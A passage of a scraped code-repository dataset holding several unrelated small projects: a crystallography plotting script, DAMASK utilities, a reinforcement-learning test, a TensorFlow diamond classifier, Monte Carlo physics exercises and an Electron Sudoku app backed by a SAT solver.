rotation.format(*map(lambda x:int(round(x)),options.eulers))\n cmd += view %(options.perspective,\n (globalaxes if options.globalaxes else '') + \\\n (localaxes.format(euler = map(lambda x:int(round(x)),options.eulers),\n dx = 0.0,dy = 0.0,) if options.localaxes else '') + \\\n (vector.format(euler = map(lambda x:int(round(x)),options.eulers),\n dx = 0.0, dy = 0.0,\n vector = ','.join(map(str,options.vector))) if options.vector else '') + \\\n unitcell.format(euler = map(lambda x:int(round(x)),options.eulers),\n dx = 0.0, dy = 0.0,\n celltype = options.unitcell,\n ),\n )\n cmd += footer\n\nelse:\n filename = 'unitcell_%s_%s'%(options.unitcell,os.path.basename(os.path.splitext(options.batchfile)[0]))\n \n offset = 0 if os.path.splitext(options.batchfile)[1].lower() == '.ang' else 1\n with open(options.batchfile) as batchFile:\n content = [line for line in batchFile.readlines() if line.find('#') != 0]\n\n dataset = [map(float,line.split(None if content[0].find(',') < 0 else ',')[offset:offset+5]) for line in content]\n \n print len(dataset)\n\n boundingBox = [\n [coords['x'][1]*dataset[0][coords['x'][0]],\n coords['y'][1]*dataset[0][coords['y'][0]],\n ] ,\n [coords['x'][1]*dataset[0][coords['x'][0]],\n coords['y'][1]*dataset[0][coords['y'][0]],\n ] ,\n ]\n \n for point in dataset[1:]:\n x = coords['x'][1]*point[coords['x'][0]]\n y = coords['y'][1]*point[coords['y'][0]]\n if boundingBox[0][0] > x:\n boundingBox[0][0] = x\n if boundingBox[1][0] < x:\n boundingBox[1][0] = x\n if boundingBox[0][1] > y:\n boundingBox[0][1] = y\n if boundingBox[1][1] < y:\n boundingBox[1][1] = y\n \n print '---------------------------------'\n print boundingBox\n print '---------------------------------'\n centre = [\n (boundingBox[0][0]+boundingBox[1][0])/2.0,\n (boundingBox[0][1]+boundingBox[1][1])/2.0,\n ]\n scale = options.scale / \\\n math.sqrt( (boundingBox[1][0]-boundingBox[0][0])*(boundingBox[1][0]-boundingBox[0][0])+\n (boundingBox[1][1]-boundingBox[0][1])*(boundingBox[1][1]-boundingBox[0][1]) )\n\n rotations = {}\n cells = []\n labels = []\n \n counter = 0\n \n for point in dataset:\n counter += 1\n x = coords['x'][1]*point[coords['x'][0]]\n y = coords['y'][1]*point[coords['y'][0]]\n if options.radians:\n point[:3] = map(math.degrees,point[:3])\n\n eulers = map(lambda x:str(int(round(x))),point[:3])\n rotations['#'.join(eulers)] = rotation.format(*eulers)\n cells.append(cell.format(euler=eulers,\n dx=scale*(x-centre[0]),\n dy=scale*(y-centre[1]),\n celltype=options.unitcell)\n )\n if options.label:\n labels.append(label % (counter,\n scale*(x-centre[0]),\n scale*(y-centre[1]),\n ))\n \n print len(rotations),'rotations'\n \n cmd = header.format(ca=options.ca,\n linewidth=80/options.scale,\n opacity=options.opacity\n )\n cmd += '\\n'.join(rotations.values())\n cmd += view %(options.perspective,\n options.axes,\n '\\n'.join(cells),\n '\\n'.join(labels),\n )\n cmd += footer\n\nwith open(filename+'.sk','w') as sk:\n sk.write(cmd)\n\nverbosity = '' if options.verbose else '&>/dev/null'\n\nif options.figure:\n os.system('sketch -o %s.tex %s.sk %s'%(filename,filename,verbosity))\n if not options.keep:\n os.remove(filename+'.sk')\nelse:\n os.system('sketch -Tb -o %s.tex %s.sk %s'%(filename,filename,verbosity)) # use tightly bound (-Tb) paper output format\n os.system('pdflatex %s.tex 1>/dev/null'%(filename)) # ignore run time messages of pdflatex\n if not options.keep:\n os.remove(filename+'.sk')\n os.remove(filename+'.tex')\n os.remove(filename+'.log')\n os.remove(filename+'.aux')\n" }, { "alpha_fraction": 0.5615541934967041, "alphanum_fraction": 0.5811861157417297, "avg_line_length": 27.752941131591797, "blob_id": "fde0858dbbfa482f05044312e968cad76c08a781", "content_id": "21c21f91dffe85ac7f4dd8e6f1935c10628c9469", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2445, "license_type": "permissive", "max_line_length": 107, "num_lines": 85, "path": "/Code/Spherical/util.py", "repo_name": "chakra34/SphericalOrientations", "src_encoding": "UTF-8", "text": "# -*- coding: UTF-8 no BOM -*-\n\n# obtained from https://damask.mpie.de #\n\n# damask utility functions\nimport sys,time,random,threading,os,subprocess,shlex\nimport numpy as np\nfrom optparse import Option\n\nclass bcolors:\n \"\"\"\n ASCII Colors (Blender code)\n \n https://svn.blender.org/svnroot/bf-blender/trunk/blender/build_files/scons/tools/bcolors.py\n http://stackoverflow.com/questions/287871/print-in-terminal-with-colors-using-python\n \"\"\"\n\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n DIM = '\\033[2m'\n UNDERLINE = '\\033[4m'\n\n def disable(self):\n self.HEADER = ''\n self.OKBLUE = ''\n self.OKGREEN = ''\n self.WARNING = ''\n self.FAIL = ''\n self.ENDC = ''\n self.BOLD = ''\n self.UNDERLINE = ''\n \n\n# -----------------------------\ndef srepr(arg,glue = '\\n'):\n \"\"\"joins arguments as individual lines\"\"\"\n if (not hasattr(arg, \"strip\") and\n hasattr(arg, \"__getitem__\") or\n hasattr(arg, \"__iter__\")):\n return glue.join(srepr(x) for x in arg)\n return arg if isinstance(arg,str) else repr(arg)\n\n# -----------------------------\ndef croak(what, newline = True):\n \"\"\"writes formated to stderr\"\"\"\n sys.stderr.write(srepr(what,glue = '\\n') + ('\\n' if newline else ''))\n sys.stderr.flush()\n\n# -----------------------------\ndef report(who = None,\n what = None):\n \"\"\"reports script and file name\"\"\"\n croak( (emph(who)+': ' if who else '') + (what if what else '') )\n\n\n# -----------------------------\ndef emph(what):\n \"\"\"boldens string\"\"\"\n return bcolors.BOLD+srepr(what)+bcolors.ENDC\n\n\n# -----------------------------\nclass extendableOption(Option):\n \"\"\"\n used for definition of new option parser action 'extend', which enables to take multiple option arguments\n\n taken from online tutorial http://docs.python.org/library/optparse.html\n \"\"\"\n\n ACTIONS = Option.ACTIONS + (\"extend\",)\n STORE_ACTIONS = Option.STORE_ACTIONS + (\"extend\",)\n TYPED_ACTIONS = Option.TYPED_ACTIONS + (\"extend\",)\n ALWAYS_TYPED_ACTIONS = Option.ALWAYS_TYPED_ACTIONS + (\"extend\",)\n\n def take_action(self, action, dest, opt, value, values, parser):\n if action == \"extend\":\n lvalue = value.split(\",\")\n values.ensure_value(dest, []).extend(lvalue)\n else:\n Option.take_action(self, action, dest, opt, value, values, parser)\n\n" } ]
7
xiaobijuan/finch
https://github.com/xiaobijuan/finch
8a40ebe432c7a77b51b05ca91bd36e274677a534
54713d7b9d87527cf4b0966de168818a983e6329
1fb2e87fdb6c34ebe9790d2fc561eb532fe4f9a5
refs/heads/master
2021-01-20T10:15:55.693855
2017-08-28T06:12:40
2017-08-28T06:12:40
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6433823704719543, "alphanum_fraction": 0.654411792755127, "avg_line_length": 21.66666603088379, "blob_id": "96ab562f27cf4edd3cc67663faab215fc4d3c79c", "content_id": "ecc65c7196fd3bc523837481d39c576d0bc80e27", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 272, "license_type": "no_license", "max_line_length": 72, "num_lines": 12, "path": "/rl-models/tensorflow/pg_cartpole_test.py", "repo_name": "xiaobijuan/finch", "src_encoding": "UTF-8", "text": "from pg import PolicyGradient\nimport tensorflow as tf\nimport gym\n\n\ndef main():\n model = PolicyGradient(lambda x : tf.layers.dense(x, 4, tf.nn.relu))\n model.learn(gym.make(\"CartPole-v0\"))\n model.play(gym.make(\"CartPole-v0\"))\n\nif __name__ == '__main__':\n main()\n" } ]
1
0xd4n10/TF-Diamond
https://github.com/0xd4n10/TF-Diamond
faad894bd6df514782cc23dd6f55d2e2075eed1d
cb649ddce64beebd701007e4dfa6c10abc308880
c99e4710312e4147674b601ebb830e234e8b4256
refs/heads/master
2023-05-02T02:54:38.899808
2020-06-28T10:28:05
2020-06-28T10:28:05
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6978609561920166, "alphanum_fraction": 0.7122994661331177, "avg_line_length": 27.33333396911621, "blob_id": "a25efa77e1a2c331b2433809b96cabd8bb5f0d4c", "content_id": "bc54e7c50ac81a81265ea5158e76bad4f53fea63", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1870, "license_type": "no_license", "max_line_length": 75, "num_lines": 66, "path": "/train-diamond-classification.py", "repo_name": "0xd4n10/TF-Diamond", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nfrom tensorflow.keras import layers\nimport pandas as pd \nfrom sklearn.model_selection import train_test_split\n\n\n# Function to preprocess dataset\ndef preprocess(dataframe):\n\tdataframe.drop(['x', 'y', 'z'], axis=1)\n\ty = dataframe.pop('price')\n\ty[y < 1000] = 0\n\ty[y >= 1000] = 1\n\tdataframe = pd.get_dummies(dataframe, columns=['cut', 'color', 'clarity'])\n\tdataframe = dataframe.join(y)\n\tdataframe.pop('Unnamed: 0')\n\tdataframe = dataframe.rename(columns={'cut_Very Good' : 'cut_Very_Good'})\n\treturn dataframe\n\n# Function to create tensorflow dataset from pandas dataframe\ndef df_to_dataset(dataframe, shuffle=True, batch_size=32):\n labels = dataframe.pop('price')\n print(labels)\n ds = tf.data.Dataset.from_tensor_slices((dict(dataframe), labels))\n if shuffle:\n ds = ds.shuffle(buffer_size=len(dataframe))\n ds = ds.batch(batch_size)\n return ds\n\n# Load in data and pass to preprocessing function\ndf = preprocess(pd.read_csv('diamonds.csv'))\n\n# Split into train and test\ntrain=df.sample(frac=0.8,random_state=200) \ntest=df.drop(train.index)\n\n# Make compatible with TensorFlow\ntrain_ds = df_to_dataset(train)\ntest_ds = df_to_dataset(test, shuffle=False)\n\n# Create feature layer\nmy_feature_columns = []\nfor key in train.keys():\n my_feature_columns.append(tf.feature_column.numeric_column(key=key))\n\nfeature_layer = tf.keras.layers.DenseFeatures(my_feature_columns)\n\n\n# Create and comopile model\nmodel = tf.keras.Sequential([\n feature_layer,\n layers.Dense(128, activation='relu'),\n layers.Dense(128, activation='relu'),\n layers.Dense(1)\n])\n\nmodel.compile(optimizer='adam',\n loss=tf.keras.losses.BinaryCrossentropy(from_logits=True),\n metrics=['accuracy'])\n\n# Train\nmodel.fit(train_ds,\n epochs=2)\n\n# Evaluate with test dataset \nloss, accuracy = model.evaluate(test_ds)\nprint(\"Accuracy\", accuracy)\n" }, { "alpha_fraction": 0.7904762029647827, "alphanum_fraction": 0.8095238208770752, "avg_line_length": 34, "blob_id": "b24e9d1f8aa81f6b311a7f92aab6b0196a121bd3", "content_id": "be558b9fa815a6b63ca18caff11536b123a66cf2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 210, "license_type": "no_license", "max_line_length": 84, "num_lines": 6, "path": "/README.md", "repo_name": "0xd4n10/TF-Diamond", "src_encoding": "UTF-8", "text": "# TF-Diamond\nBoth classification and regression with Tensorflow on a Dataset of Diamond features.\n## Classification\npredicts whether diamonds are valued at over $1000.\n## Regression\npredicts price of diamonds.\n" } ]
2
rwzfs/PHY1004-Assignment-4
https://github.com/rwzfs/PHY1004-Assignment-4
fde62ee7c8489db829a0aa78a4ae6c4a39dec45a
0b85af9213b03c85c0619085761fc0a5862582ee
b10a174cca34be087f08e10d88a306246200db7a
refs/heads/master
2020-07-29T11:47:39.591749
2019-09-20T12:43:53
2019-09-20T12:43:53
209,788,266
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6488919854164124, "alphanum_fraction": 0.6765928268432617, "avg_line_length": 37.054054260253906, "blob_id": "ad9832ec7acfc442a4c9f3f3b832cd94418879a7", "content_id": "582b936e8285cab642c64e62f8ee78610b0aea42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2888, "license_type": "no_license", "max_line_length": 80, "num_lines": 74, "path": "/PHY1003 Assignment 4 Ex 2.py", "repo_name": "rwzfs/PHY1004-Assignment-4", "src_encoding": "UTF-8", "text": "import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n#np.random.seed(12345)\r\n#number of times each die is rolled\r\nn=100000\r\n\r\n#array for each die with random numbers being output between 1 and 6, running\r\n#n times\r\ndie_1 = np.array(np.random.randint(1, 7, n))\r\ndie_2 = np.array(np.random.randint(1, 7, n))\r\ndie_3 = np.array(np.random.randint(1, 7, n))\r\n\r\n#I used functions for each of the separate parts for this question (mostly\r\n#because I didnt know how to use them and wanted to learn) but I understand\r\n#that they don't add anything inparticular to the program apart from readability\r\n#because each function is only called on once.\r\ndef larger10_func():\r\n #adding up each roll and creating a new array with the sums\r\n sum_array = die_1 + die_2 + die_3\r\n \r\n #mask array filled with booleans which are determined by if the sum is \r\n #greater than 10 or not\r\n mask_array = sum_array > 10\r\n \r\n #using the length of the mask divided by the number of rolls as a way to\r\n #work out the probability\r\n prob = (len(sum_array[mask_array])/n)\r\n return(prob)\r\n \r\ndef samenum_func():\r\n #making new arrays filled with booleans for if the values are the same\r\n same1_array = (die_1 == die_2)\r\n same2_array = (die_2 == die_3)\r\n \r\n #to make sure all three die read the same I need to create a 'master' mask\r\n #to compare same1_array and same2_array, making sure both are True\r\n mask_array = same1_array & same2_array == True\r\n \r\n #probability is the length of the die_1[mask_array] (all the true values)\r\n #divided by the total number of rolls\r\n prob = len(die_1[mask_array])/n\r\n return(prob)\r\n\r\ndef cascade_func():\r\n #creating three arrays fulfilling the conditions from the question. My\r\n #problem here was comparing three things at once. An if statement would\r\n #probably have made more sense here.\r\n threebig2_array = (die_3 > die_2)\r\n twobig1_array = (die_2 > die_1)\r\n threebig1_array = (die_3 > die_1)\r\n\r\n #need to create two mask arrays, this was my way of getting around comparing\r\n #three arrays to eachother. Making an array1 which is a combo of 3>2 and 2>1\r\n #and then checking to make sure 3 is also > 1.\r\n mask_array1 = (threebig2_array & twobig1_array == True)\r\n mask_array2 = (mask_array1 & threebig1_array == True)\r\n \r\n prob = len(die_1[mask_array2])/n\r\n \r\n return(prob)\r\n\r\n#printing the output from each function. Here I am calling the functions within\r\n#the print statement and outputing some text to make it easier to read.\r\nprint('Probability of sum larger than 10: ', larger10_func())\r\nprint('Probability of same number: ', samenum_func())\r\nprint('Probability of 1 < 2 < 3: ', cascade_func())\r\n\r\n#I was using these when testing, ensuring that the die rolls and manual prob.\r\n#was correct.\r\n#print('D1 = ', die_1)\r\n#print('D2 = ', die_2)\r\n#print('D3 = ', die_3)" }, { "alpha_fraction": 0.75, "alphanum_fraction": 0.7980769276618958, "avg_line_length": 25, "blob_id": "367828cb658eaf8f3a78a01f5af6f9bee473e631", "content_id": "3b8de9858ee20aff909bc4c07f207539e3cfe80c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 104, "license_type": "no_license", "max_line_length": 48, "num_lines": 4, "path": "/README.md", "repo_name": "rwzfs/PHY1004-Assignment-4", "src_encoding": "UTF-8", "text": "# PHY1004-Assignment-4\nFourth assignment for class. Written in Python. \n\nTopic: Monte-Carlo Simulations\n" }, { "alpha_fraction": 0.6783236861228943, "alphanum_fraction": 0.691907525062561, "avg_line_length": 46.08333206176758, "blob_id": "7a912837f3ff470121b0ddbf1cccad68d80740bd", "content_id": "1740195ccd61c16333a05e86e678ac6399fdb43d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3460, "license_type": "no_license", "max_line_length": 95, "num_lines": 72, "path": "/PHY1003 Assignment 4 Ex 1.py", "repo_name": "rwzfs/PHY1004-Assignment-4", "src_encoding": "UTF-8", "text": "#importing directories with extra python commands\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n#function to estimate pi, no value needs passed to this function so () is empty\r\n#this will only run once called upon in the main chunk of code\r\ndef pi_est_func(): \r\n \r\n #creating two arrays filled with 100*10 [due to while loop later] random \r\n #numbers between -1 and 1\r\n x_array = np.random.uniform(-1, 1, 100)\r\n y_array = np.random.uniform(-1, 1, 100)\r\n \r\n #this section generates a plot using the x_array and y_array data generated\r\n #above. '.' sets the points as dots and the colour sets the colour.\r\n plt.plot(x_array, y_array, '.', color = 'darkolivegreen', markersize = 5)\r\n plt.xlabel('x_array')\r\n plt.ylabel('y_array')\r\n \r\n #if x**2 + y**2 <= 1 then (x,y) lies within circle. This is the formula\r\n #for the circle, if the x and y points are <= 1 then they lie inside the \r\n #circle. Creates a mask with this stipulation\r\n circle_plot = (x_array**2 + y_array**2) <= 1\r\n \r\n #plotting the data from x/y_array which conforms with the boolean values\r\n #in the mask. All values which are True will be plotted with a hotpink\r\n #colour and larger marker size.\r\n plt.plot(x_array[circle_plot], y_array[circle_plot], '.', color='hotpink', markersize = 10)\r\n\r\n #the calculation used to estimate pi. The idea is to use the ratio of \r\n #points inside the circle range vs the total points, giving an area\r\n #in terms of total number of data points. This was multiplied by 4 due \r\n #to how the ratio of a square to a circle worked out. This is explained\r\n #in the report.\r\n pi_est = 4*(len(x_array[circle_plot])/(len(x_array))) \r\n print(len(x_array))\r\n #returning the value pi_est when called upon\r\n return(pi_est)\r\n\r\n#this is the main body of the code, it will run before the pi_est_function\r\n#setting n to 1 initially so a random number doesnt get selected instead, I know\r\n#that happens in C but unsure in python. \r\nn=1\r\n\r\n#creating an empty list as an array cannot be added to once it is initialised\r\n#but a list can, this means that I can add to it each time my function is \r\n#called upon by the while loop below\r\npi_list=[]\r\n\r\n#while loop to iterate 10 times, for the 10 values of pi asked for. Increase\r\n#the number of iterations for a more accurate value of pi\r\nwhile n<=10:\r\n #random seed which was used initially during testing. The seed sets a \r\n #constant value so that we can run the program multiple times and get\r\n #the same 'random' value. If this is not used then a random number is\r\n #generated using the system clock as the seed. \r\n #the random seed was placed here to fix a problem I was having where\r\n #every pi estimate when using a random seed was the same. Making it\r\n #dependent on how many times the while loop had run solved this.\r\n b=12345+n\r\n np.random.seed(b)\r\n #filling the list with the estimated value of pi from the function above\r\n pi_list.append(pi_est_func())\r\n #updating counter\r\n n=n+1\r\n#creating an array from the list so that the numpy mathematical operations\r\n#of standard deviation and mean can be used, these cannot be used for a list\r\npi_array = np.array(pi_list)\r\n#printing out the 10 estimated values of pi as well as the mean and std dev.\r\nprint('10 Values of Pi = ', pi_list)\r\nprint('Pi Mean Value = ', np.mean(pi_array))\r\nprint('Pi Standard Deviation = ',np.std(pi_array))" } ]
3
samuelebischof-ch/sudoku-sat
https://github.com/samuelebischof-ch/sudoku-sat
8c5ddd271f5497a09766d8db4fc411f265a1edad
6635c729e110a5b29b4f15fb8835dcb43c66a981
7c95bbdabd1a737481283f94f1b3ec7384780216
refs/heads/master
2022-09-01T08:32:11.925988
2018-05-23T08:17:54
2018-05-23T08:17:54
134,424,983
0
0
null
2018-05-22T14:09:35
2018-05-23T08:18:01
2022-08-30T13:42:46
TypeScript
[ { "alpha_fraction": 0.564175546169281, "alphanum_fraction": 0.5672597885131836, "avg_line_length": 20.079999923706055, "blob_id": "517a2bd86613d64361f5327770078b29f37c945a", "content_id": "016d0a3a1ab899357f6b77f5957767cfb0b1ba83", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4215, "license_type": "no_license", "max_line_length": 95, "num_lines": 200, "path": "/main.js", "repo_name": "samuelebischof-ch/sudoku-sat", "src_encoding": "UTF-8", "text": "const { app, BrowserWindow, ipcMain } = require('electron')\nconst child_process = require('child_process')\nconst path = require('path')\nconst url = require('url')\nconst fs = require('fs-extra')\nconst LineByLineReader = require('line-by-line')\nconst asar = require('asar')\n\nconst sudokuInPath = '/tmp/sat/sat/sudoku.in'\nconst sudokuOutPath = '/tmp/sat/sat/sudoku.out'\nconst satScriptPath = 'sat'\nconst satScriptPathNew = '/tmp/sat/sat/'\n\nlet win\n\nasync function createWindow () {\n\n win = new BrowserWindow({width: 1200, height: 800, titleBarStyle: 'hidden'})\n \n // load the dist folder from Angular\n win.loadURL(url.format({\n pathname: path.resolve(__dirname, './build/index.html'),\n protocol: 'file:',\n slashes: true\n }))\n \n // Open the DevTools optionally:\n // win.webContents.openDevTools()\n \n win.on('closed', () => {\n win = null\n })\n}\n\napp.on('ready', createWindow)\n\napp.on('window-all-closed', () => {\n if (process.platform !== 'darwin') {\n app.quit()\n }\n})\n\napp.on('activate', () => {\n if (win === null) {\n createWindow()\n }\n})\n\nipcMain.on('solveSudoku', async (event, arg) => {\n // clean sudoku.in\n try {\n await cleanFilePromise()\n } catch (error) {\n console.log(error)\n }\n // save sudoku to txt\n let sudoku = arg\n for (let i = 0; i < sudoku.length; i++) {\n const line = sudoku[i];\n for (let j = 0; j < line.length; j++) {\n const element = line[j];\n await appendTextPromise(element + '\\n')\n }\n }\n // solve sudoku\n solved = false\n try {\n const output = await shellCommandPromise('cd ' + satScriptPathNew + ' && python sudoku.py')\n if (!output.includes('UNSATISFIABLE')) {\n try {\n sudoku = await readFilePromise()\n event.sender.send('solved', sudoku)\n } catch (error) {\n console.log(error)\n }\n } else {\n event.sender.send('solved', 'UNSAT')\n }\n } catch (error) {\n console.log(error)\n }\n})\n\nipcMain.on('prepare', async (event, arg) => {\n await initializeSudokuSolver()\n event.sender.send('ready', {})\n})\n\nfunction readFilePromise() {\n return new Promise((resolve, reject) => {\n const lr = new LineByLineReader(sudokuOutPath)\n const grid = []\n \n let lineCnt = 0\n let lineArray = []\n \n lr.on('error', (err) => {\n reject(err)\n })\n \n lr.on('line', (line) => {\n let text = line\n if (text === 'n') {\n text = null\n }\n lineArray.push(text)\n if (lineCnt === 8) {\n grid.push(lineArray)\n lineCnt = 0\n lineArray = []\n } else {\n lineCnt++\n }\n })\n \n \n lr.on('end', () => {\n resolve(grid)\n lr.removeAllListeners()\n })\n })\n}\n\nfunction shellCommandPromise(command) {\n return new Promise((resolve, reject) => {\n child_process.exec(command, (error, stdout, stderr) => {\n if (error) {\n reject(error)\n } else if (stdout) {\n resolve(stdout)\n } else {\n resolve(stderr)\n }\n })\n })\n}\n\nasync function appendTextPromise(text) {\n return new Promise((resolve, reject) => {\n let t = text\n if (text === 'null\\n') {\n t = 'n\\n'\n }\n fs.appendFile(sudokuInPath, t, (err) => {\n if (err) {\n reject(err) \n } else {\n resolve()\n }\n })\n })\n}\n\nfunction cleanFilePromise() {\n return new Promise((resolve, reject) => {\n fs.writeFile(sudokuInPath, '', (err) => {\n if (err) {\n reject(err)\n } else {\n resolve()\n }\n })\n })\n}\n\nfunction copyFolderPromise() {\n return new Promise((resolve, reject) => {\n fs.copy(satScriptPath, satScriptPathNew, err => {\n if (err) {\n reject(err)\n } else {\n resolve()\n }\n })\n })\n}\n\nfunction copyFromAsar() {\n return new Promise((resolve, reject) => {\n asar.extractAll(process.resourcesPath + '/app.asar', '/tmp/sat')\n resolve()\n })\n}\n\nasync function initializeSudokuSolver() {\n if (isDev()) {\n await copyFolderPromise()\n } else {\n await copyFromAsar()\n try {\n await shellCommandPromise('chmod +x /tmp/sat/sat/minisat/minisat')\n } catch (error) {\n console.log(error)\n }\n }\n}\n\nfunction isDev() {\n return process.mainModule.filename.indexOf('app.asar') === -1\n}" }, { "alpha_fraction": 0.5121408700942993, "alphanum_fraction": 0.5193697810173035, "avg_line_length": 25.44607925415039, "blob_id": "547ab72a7f1ecb7693abffa2bb2cc7997fe616cd", "content_id": "d3249b41336a91e0d8734af414b1adb214533e82", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 5395, "license_type": "no_license", "max_line_length": 100, "num_lines": 204, "path": "/src/app/@components/sudoku/sudoku.component.ts", "repo_name": "samuelebischof-ch/sudoku-sat", "src_encoding": "UTF-8", "text": "import { Component, OnInit } from '@angular/core';\nimport { ElectronService } from 'ngx-electron';\nimport { MatSnackBar } from '@angular/material';\n\nconst emptyClassGrid = [\n ['', '', '', '', '', '', '', '', ''],\n ['', '', '', '', '', '', '', '', ''],\n ['', '', '', '', '', '', '', '', ''],\n ['', '', '', '', '', '', '', '', ''],\n ['', '', '', '', '', '', '', '', ''],\n ['', '', '', '', '', '', '', '', ''],\n ['', '', '', '', '', '', '', '', ''],\n ['', '', '', '', '', '', '', '', ''],\n ['', '', '', '', '', '', '', '', '']\n];\n\nconst emptyGrid = [\n [null, null, null, null, null, null, null, null, null],\n [null, null, null, null, null, null, null, null, null],\n [null, null, null, null, null, null, null, null, null],\n [null, null, null, null, null, null, null, null, null],\n [null, null, null, null, null, null, null, null, null],\n [null, null, null, null, null, null, null, null, null],\n [null, null, null, null, null, null, null, null, null],\n [null, null, null, null, null, null, null, null, null],\n [null, null, null, null, null, null, null, null, null]\n];\n\n@Component({\n selector: 'app-sudoku',\n templateUrl: './sudoku.component.html',\n styleUrls: ['./sudoku.component.css']\n})\nexport class SudokuComponent implements OnInit {\n\n public loading = false;\n\n public grid = [];\n public gridStyle = [];\n\n constructor(\n private _electronService: ElectronService,\n public snackBar: MatSnackBar\n ) {}\n\n ngOnInit() {\n this.grid = emptyGrid.slice();\n this.gridStyle = emptyClassGrid.slice();\n }\n\n ipcRendererPromise() {\n return new Promise((resolve, reject) => {\n this._electronService.ipcRenderer.once('solved', (event, arg) => {\n if (arg === 'UNSAT') {\n reject();\n } else {\n resolve (arg);\n }\n });\n });\n }\n\n trackByIndex(index: number, value: number) {\n return index;\n }\n\n valuechange(event, row: number, column: number) {\n // console.log(this.checkValidNumb(event.data, row, column));\n }\n\n resetBoard() {\n for (let i = 0; i < this.grid.length; i++) {\n for (let j = 0; j < this.grid[i].length; j++) {\n this.grid[i][j] = null;\n this.gridStyle[i][j] = null;\n }\n }\n }\n\n async randomBoard(numbers: number) {\n if (numbers < 81) {\n this.loading = true;\n this.resetBoard();\n for (let i = 0; i < numbers; i++) {\n this.giveCell();\n }\n this._electronService.ipcRenderer.send('solveSudoku', this.grid);\n try {\n await this.ipcRendererPromise();\n } catch (error) {\n await this.randomBoard(numbers);\n }\n this.loading = false;\n }\n }\n\n giveCell() {\n let row = Math.floor(Math.random() * 9);\n let col = Math.floor(Math.random() * 9);\n\n while (this.grid[row][col] !== null) {\n row = Math.floor(Math.random() * 9);\n col = Math.floor(Math.random() * 9);\n }\n\n let num = Math.floor(Math.random() * 9) + 1;\n\n let count = 0;\n while (!this.checkValid(num, row, col) && count < 9) {\n num = (num === 9) ? 1 : num + 1;\n count++;\n }\n\n // if it went wrong\n if (count === 9) {\n this.giveCell();\n } else {\n this.grid[row][col] = num;\n this.gridStyle[row][col] = 'bold';\n }\n\n }\n\n async solveSudoku() {\n this._electronService.ipcRenderer.send('solveSudoku', this.grid);\n this.loading = true;\n try {\n this.grid = await this.ipcRendererPromise() as any;\n } catch (error) {\n this.snackBar.open('Unsatisfiable', 'OK', {\n duration: 2000,\n });\n }\n this.loading = false;\n }\n\n checkValidNumb(num: any, row: number, column: number) {\n const value = this.checkValid(num, row, column);\n if (!value) {\n this.snackBar.open('Invalid number', 'OK', {\n duration: 2000,\n });\n this.gridStyle[row][column] = 'red';\n } else {\n this.gridStyle[row][column] = '';\n }\n }\n\n checkValid(num: any, row: number, column: number): boolean {\n\n let checkVertical = true;\n for (let j = 0; j < 9; j++) {\n if (j !== row) {\n const foundNumber = (this.grid[j][column] !== null) ? this.grid[j][column].valueOf() : null;\n const writtenNumber = Number(num);\n checkVertical = checkVertical && (foundNumber !== writtenNumber);\n }\n }\n\n let checkHorizontal = true;\n for (let i = 0; i < 9; i++) {\n if (i !== column) {\n const foundNumber = (this.grid[row][i] !== null) ? this.grid[row][i].valueOf() : null;\n const writtenNumber = Number(num);\n checkHorizontal = checkHorizontal && (foundNumber !== writtenNumber);\n }\n }\n\n let checkSquare = true;\n for (let i = this.getMin(row); i < this.getMax(row); i++) {\n for (let j = this.getMin(column); j < this.getMax(column); j++) {\n if (i !== row || j !== column) {\n const foundNumber = (this.grid[i][j] !== null) ? this.grid[i][j].valueOf() : null;\n const writtenNumber = Number(num);\n checkSquare = checkSquare && (foundNumber !== writtenNumber);\n }\n }\n }\n\n const value = (checkVertical && checkHorizontal && checkSquare);\n return value;\n }\n\n getMin(val) {\n if (val < 3) {\n return 0;\n } else if (val < 6) {\n return 3;\n } else {\n return 6;\n }\n }\n\n getMax(val) {\n if (val < 3) {\n return 3;\n } else if (val < 6) {\n return 6;\n } else {\n return 9;\n }\n }\n\n}\n" }, { "alpha_fraction": 0.6467931270599365, "alphanum_fraction": 0.6522132158279419, "avg_line_length": 21.139999389648438, "blob_id": "0e92227eaebe8b94bd88343fe6410a1e6bb251a5", "content_id": "922f88272ed0e2f1556f9a16711eccc6a8281533", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 1107, "license_type": "no_license", "max_line_length": 72, "num_lines": 50, "path": "/src/app/app.component.ts", "repo_name": "samuelebischof-ch/sudoku-sat", "src_encoding": "UTF-8", "text": "import { Component, OnInit, ViewChild } from '@angular/core';\nimport { ElectronService } from 'ngx-electron';\nimport { SudokuComponent } from './@components/sudoku/sudoku.component';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\nexport class AppComponent implements OnInit {\n\n public loading = false;\n\n constructor(private _electronService: ElectronService) {}\n\n @ViewChild(SudokuComponent) child: SudokuComponent;\n\n async ngOnInit() {\n this.installAll();\n }\n\n easyBtnClicked() {\n this.child.randomBoard(30);\n }\n\n mediumBtnClicked() {\n this.child.randomBoard(20);\n }\n\n hardBtnClicked() {\n this.child.randomBoard(10);\n }\n\n mainReadyPromise() {\n return new Promise((resolve, reject) => {\n this._electronService.ipcRenderer.once('ready', (event, arg) => {\n resolve();\n });\n });\n }\n\n async installAll() {\n this.loading = true;\n this._electronService.ipcRenderer.send('prepare', {});\n try {\n await 